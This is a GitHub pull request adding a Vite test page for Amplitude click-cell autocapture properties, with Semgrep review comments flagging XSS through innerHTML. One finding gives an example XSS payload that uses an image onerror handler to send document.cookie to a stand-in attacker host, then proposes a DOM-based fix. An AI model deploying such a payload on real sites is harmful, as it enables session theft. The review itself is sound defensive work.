Repository navigation
chore(examples): add click cell test app - #2212
junjie-amplitude wants to merge 2 commits into
Conversation
| el.innerHTML = `<h3>${esc(event.event_type)} (${new Date().toLocaleTimeString()})</h3> | ||
| ${isClick ? `<table class="cell">${rows}</table> | ||
| <div>element: <code>${esc(props['[Amplitude] Element Tag'] || '')}#${esc(props['[Amplitude] Element ID'] || '')}</code></div>` : ''} | ||
| <details ${isClick ? 'open' : ''}><summary>payload</summary><pre>${esc(JSON.stringify(event, null, 2))}</pre></details>`; |
There was a problem hiding this comment.
🟠 High severity blocking issue identified in your code:
User controlled data in methods like innerHTML, outerHTML or document.write is an anti-pattern that can lead to XSS vulnerabilities
Why this might be safe to ignore:
All event-derived values interpolated into the HTML are passed through
esc, including serialized payloads and properties, so the displayed data is intended to be HTML-escaped. The code is also part of a click-cell test app, further reducing practical exploitability.
To resolve this comment:
🔧 No guidance has been designated for this issue. Fix according to your organization's approved methods.
💬 Ignore this finding
Reply with Semgrep commands to ignore this finding.
/fp <comment>for false positive/ar <comment>for acceptable risk/other <comment>for all other reasons
Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by insecure-document-method.
You can view more details about this finding in the Semgrep AppSec Platform.
| $('config-summary').innerHTML = `<table> | ||
| <tr><td>SDK</td><td>${esc(__SDK_SOURCE__)}</td></tr> | ||
| <tr><td>Server zone</td><td>${esc(serverZone)}</td></tr> | ||
| <tr><td>API key</td><td>${apiKey ? esc(apiKey.slice(0, 4) + '...' + apiKey.slice(-2)) : 'NOT SET'}</td></tr> | ||
| <tr><td>Local clickCell option</td><td>${localClickCell === null ? '(not set: defaults, or remote config)' : esc(localClickCell)}</td></tr> | ||
| ${extra} | ||
| ${network.map((n) => `<tr><td>${esc(n.label)}</td><td>${esc(n.value)}</td></tr>`).join('')} | ||
| </table>`; |
There was a problem hiding this comment.
🟠 High severity blocking issue identified in your code:
renderSummary writes the unescaped extra value into config-summary.innerHTML, so attacker-controlled markup can execute as JavaScript in the page’s origin.
More details about this
renderSummary assigns a template string to $('config-summary').innerHTML, and the ${extra} interpolation is inserted without HTML escaping. Unlike serverZone, apiKey, localClickCell, and the network values, extra can add arbitrary markup to the page whenever a caller passes attacker-controlled content.
A plausible attack path is:
- An attacker supplies a value that reaches the
extraargument, such as<img src=x onerror="fetch('https://attacker.example/?c='+encodeURIComponent(document.cookie))">through a configurable event or response handled by the test app. - A caller invokes
renderSummary(extra)with that value. - The assignment to
config-summary.innerHTMLparses the value as HTML and executes the image'sonerrorhandler in the application's origin, allowing the attacker to read page data or perform actions as the victim.
The existing esc(...) calls protect the displayed configuration and network fields, but they do not protect ${extra}. The impact depends on whether untrusted data can reach renderSummary's extra parameter; that data flow is not shown in the supplied context.
To resolve this comment:
✨ Commit fix suggestion
| $('config-summary').innerHTML = `<table> | |
| <tr><td>SDK</td><td>${esc(__SDK_SOURCE__)}</td></tr> | |
| <tr><td>Server zone</td><td>${esc(serverZone)}</td></tr> | |
| <tr><td>API key</td><td>${apiKey ? esc(apiKey.slice(0, 4) + '...' + apiKey.slice(-2)) : 'NOT SET'}</td></tr> | |
| <tr><td>Local clickCell option</td><td>${localClickCell === null ? '(not set: defaults, or remote config)' : esc(localClickCell)}</td></tr> | |
| ${extra} | |
| ${network.map((n) => `<tr><td>${esc(n.label)}</td><td>${esc(n.value)}</td></tr>`).join('')} | |
| </table>`; | |
| const addRow = (table, label, value) => { | |
| const row = document.createElement('tr'); | |
| const labelCell = document.createElement('td'); | |
| const valueCell = document.createElement('td'); | |
| labelCell.textContent = String(label); | |
| valueCell.textContent = String(value); | |
| row.append(labelCell, valueCell); | |
| table.append(row); | |
| }; | |
| const renderSummary = (extra = []) => { | |
| const container = $('config-summary'); | |
| container.replaceChildren(); | |
| const table = document.createElement('table'); | |
| addRow(table, 'SDK', __SDK_SOURCE__); | |
| addRow(table, 'Server zone', serverZone); | |
| addRow(table, 'API key', apiKey ? apiKey.slice(0, 4) + '...' + apiKey.slice(-2) : 'NOT SET'); | |
| addRow( | |
| table, | |
| 'Local clickCell option', | |
| localClickCell === null ? '(not set: defaults, or remote config)' : localClickCell, | |
| ); | |
| if (Array.isArray(extra)) { | |
| extra.forEach((entry) => addRow(table, entry.label, entry.value)); | |
| } | |
| network.forEach((entry) => addRow(table, entry.label, entry.value)); | |
| container.append(table); | |
| }; |
View step-by-step instructions
-
Remove the interpolated template from the
innerHTMLassignment. Build the table with DOM methods such asdocument.createElement,append, andtextContent. -
Add a helper that creates a row and assigns each value as text, for example:
const addRow = (table, label, value) => { const row = document.createElement('tr'); const labelCell = document.createElement('td'); const valueCell = document.createElement('td'); labelCell.textContent = String(label); valueCell.textContent = String(value); row.append(labelCell, valueCell); table.append(row); }; -
Rewrite
renderSummaryto clear the container and append a constructed table:const container = $('config-summary'); container.replaceChildren(); const table = document.createElement('table'); addRow(table, 'SDK', __SDK_SOURCE__); addRow(table, 'Server zone', serverZone); addRow(table, 'API key', apiKey ? apiKey.slice(0, 4) + '...' + apiKey.slice(-2) : 'NOT SET'); addRow(table, 'Local clickCell option', localClickCell === null ? '(not set: defaults, or remote config)' : localClickCell); -
Replace
${extra}with structured row data or a DOM-building function. Do not appendextraas an HTML string; add each label and value throughtextContentandaddRow. -
Add the network entries without HTML interpolation:
network.forEach((entry) => addRow(table, entry.label, entry.value)); container.append(table);Values assigned throughtextContentare treated as text rather than parsed as HTML, so the existingescfunction is not needed for this rendering path.
💬 Ignore this finding
Reply with Semgrep commands to ignore this finding.
/fp <comment>for false positive/ar <comment>for acceptable risk/other <comment>for all other reasons
Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by insecure-document-method.
You can view more details about this finding in the Semgrep AppSec Platform.
Co-authored-by: Junjie Wang <junjie-amplitude@users.noreply.github.com>
size-limit report 📦
|
Adds
examples/browser/click-cell-test-app, a small standalone Vite page for checking the[Amplitude] Element Click Cell,... Cell Min Sizeand... Cell Max Per Axisproperties from #2211 (Linear HM-39) on[Amplitude] Element Clickedevents. Preparation for an end-to-end remote config test.autocapture.elementInteractionsandfetchRemoteConfig: true, with click targets of varied sizes and a side panel showing each outgoing event payload.AMPLITUDE_API_KEY/AMPLITUDE_SERVER_ZONE(env, git-ignored.env, or cloud secrets). Nothing secret is committed.sdk-version.txt: a published version orlocal(a built checkout of the feat(plugin-autocapture-browser): add click cell properties to Element Clicked #2211 branch). It is set to the HM-39 pre-release2.51.0-cursorhm-39-click-cell-9eb2.0(npm tagcursorhm-39-click-cell-9eb2).npm run verifyis a headless check with remote config and uploads mocked. Run against the pre-release: defaults give1x1:0,0/4x3:3,2/10x6:9,5with min size 64 and max per axis 10; remote{enabled:true,minCellSizePx:32,maxCellsPerAxis:3}gives the 3-cell grids; remote{enabled:false}and keyboard clicks send none.See the README in the folder for usage.
Part of HM-39